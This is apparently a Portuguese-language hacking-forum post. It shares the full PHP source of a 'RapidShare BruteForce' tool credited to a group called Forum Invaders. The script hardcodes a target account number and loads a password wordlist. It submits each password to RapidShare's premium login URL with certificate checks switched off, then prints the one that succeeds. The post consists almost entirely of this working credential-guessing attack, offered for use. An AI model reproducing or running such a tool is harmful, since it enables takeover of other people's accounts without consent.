Não liguem pro uso de "interface" auhhuauha. Coloquei no script mas nem sei qual a utilidade, apenas coloquei AUHAUHHUAU.
(http://img201.imageshack.us/img201/9337/rshl0.png)
Source:
<?php
interface iRapidshare
{
public function check();
public function BruteForce($wordlist);
}
class RapidShare implements iRapidshare
{
const user = "7125654"; //login da conta no rapidshare
public function check(){
$cli = php_sapi_name() === 'cli';
if(!$cli){
die("<b>This script is meant to be run as PHP CLI.</b>");
}
error_reporting(0);
set_time_limit(0);
dl('php_curl.so');
print_r('
_
| |
_ _ ____ ____ _ __| | ___ _ __ ___
| | _ \ \ / / _ |/ _ |/ _ \ __/ __|
| | | | \ V / (_| | (_| | __/ | \__ \
|_|_| |_|\_/ \__,_|\__,_|\___|_| |___/
Forum Invaders (UN)SECURITY GROUP
');
print "\n\n\n[+] RapidShare BruteForce by sYnyst3r\n[+] www.forum-invaders.com.br\n\n\n";
}
private function conn($host){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $host);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$r = curl_exec($ch);
curl_close($ch);
if($r){
return $r;
}
else{
die("[!] could not connect");
}
}
public function BruteForce($wordlist){
$wordlist = file_get_contents($wordlist);
$wordlist = explode("\n", $wordlist);
print "[-] Testing passwords...\n\n";
foreach($wordlist as $passwd){
$syn = $this->conn("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi?login=".self::user."&password=".$passwd);
if(preg_match("/Notification/i",$syn)){
echo "*";
}
else{
die("\n\nPassword: $passwd\n");
}
}
}
}
$rs = new RapidShare;
$rs->check();
$rs->BruteForce("wordlist.txt");
?>
.